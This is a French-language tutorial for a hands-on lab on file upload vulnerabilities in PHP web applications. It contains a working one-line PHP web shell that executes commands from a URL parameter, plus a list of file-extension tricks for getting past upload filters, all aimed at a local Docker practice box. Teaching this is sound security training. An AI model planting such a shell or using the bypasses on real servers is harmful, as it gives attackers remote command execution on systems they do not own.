Exploiter les vulnérabilités de téléchargement de fichiers avec Nmap

NmapBeginner
Pratiquer maintenant

Introduction

Ce laboratoire se concentre sur les vulnérabilités liées au téléchargement de fichiers, un problème de sécurité courant dans les applications web. Vous apprendrez à identifier ces vulnérabilités, à comprendre leur impact potentiel et à explorer les méthodes pour les exploiter. Le laboratoire offre une expérience pratique avec des exemples concrets, vous permettant de mieux comprendre les concepts de sécurité des applications web et les mesures de défense.

Comprendre les vulnérabilités de téléchargement de fichiers

Les vulnérabilités liées au téléchargement de fichiers se produisent lorsque les applications web ne parviennent pas à valider correctement les fichiers téléchargés. Cela peut permettre aux attaquants de télécharger des fichiers malveillants, ce qui peut entraîner une exécution de code à distance (remote code execution) sur le serveur.

Examinons une implémentation typique de téléchargement de fichiers en PHP utilisant la fonction move_uploaded_file() :

<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);

Paramètres :

  • $file : Le fichier téléchargé à déplacer
  • $newloc : Le chemin de destination du fichier

Une implémentation sécurisée doit inclure une validation appropriée, comme illustré dans cet exemple :

<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Ce code démontre plusieurs contrôles de sécurité importants :

  • Validation de l'extension du fichier
  • Vérification du type MIME
  • Limitation de la taille du fichier
  • Gestion des erreurs (error handling)

Sans ces validations, les attaquants pourraient potentiellement télécharger des fichiers malveillants qui s'exécutent sur le serveur.

Identifier le langage côté serveur

Avant d'exploiter une vulnérabilité de téléchargement de fichiers, il est crucial d'identifier le langage côté serveur (server-side language) utilisé par l'application web. Cette information détermine quel type de fichier télécharger pour une exploitation réussie.

Tout d'abord, configurons notre environnement de laboratoire :

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Après avoir exécuté cette commande, vérifiez que l'environnement est accessible à l'adresse suivante : http://localhost:82

Méthodes pour identifier le langage côté serveur :

  1. Extensions de fichiers dans l'URL :

    • Les extensions .php indiquent PHP
    • Les extensions .asp ou .aspx indiquent ASP.NET
    • Les extensions .jsp indiquent Java Server Pages (JSP)
  2. En-têtes du serveur (Server Headers) :

    • Microsoft IIS exécute généralement ASP.NET
    • Apache ou Nginx exécutent couramment PHP
    • Apache Tomcat exécute JSP

Vous pouvez utiliser l'extension de navigateur Wappalyzer pour détecter automatiquement le serveur web et le langage de programmation :

Dans notre environnement de laboratoire, vous devriez voir :

Web Server: Apache
Backend Language: PHP

Téléchargement d'un Web Shell

Maintenant que nous avons identifié PHP comme langage côté serveur, nous allons télécharger un web shell PHP pour exécuter des commandes sur le serveur.

Une collection de web shells peut être trouvée ici :

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. Créez un fichier de test phpinfo.php dans le répertoire /home/labex/project :
<?php phpinfo(); ?>
  1. Téléchargez le fichier :

  2. Vérifiez le téléchargement :

  3. Créez un shell d'exécution de commandes shell.php :

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. Téléchargez et testez le shell :

  2. Exécutez des commandes :

Remarque : Ce laboratoire démontre les fonctionnalités de base d'un web shell. Les sujets avancés tels que les reverse shells et l'élévation de privilèges (privilege escalation) sont traités dans des cours plus avancés.

Contourner les restrictions du serveur (facultatif)

Certaines applications web mettent en œuvre des restrictions sur les extensions de fichiers pour empêcher les téléchargements de fichiers malveillants. Cette section explore les méthodes permettant de contourner ces restrictions.

Lorsque les extensions .php sont bloquées, essayez d'autres extensions PHP qui peuvent être exécutables :

  1. Essayez de télécharger avec l'extension .php3 :

  2. Si cela ne fonctionne pas, essayez l'extension .phar :

Extensions de contournement courantes à essayer :

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

Remarque : Le succès dépend de la configuration du serveur. Différents serveurs peuvent autoriser différentes extensions à s'exécuter en tant que code PHP.

Résumé

Ce laboratoire a couvert les aspects essentiels des vulnérabilités de téléchargement de fichiers :

Concepts clés :

  • Comprendre les mécanismes de vulnérabilité de téléchargement de fichiers
  • Identifier les langages de programmation côté serveur
  • Télécharger et exécuter des web shells
  • Contourner les restrictions d'extension de fichier

Compétences techniques acquises :

  • Détection du langage côté serveur
  • Création et déploiement de web shell
  • Exécution de commandes via des fichiers téléchargés
  • Techniques de contournement d'extension (extension bypass techniques)

Implications en matière de sécurité :

  • Impact d'une validation de fichier insuffisante
  • Importance de restrictions de téléchargement appropriées
  • Risques d'exécution côté serveur

Ces connaissances fondamentales vous préparent aux sujets avancés de sécurité des applications web abordés dans les cours suivants.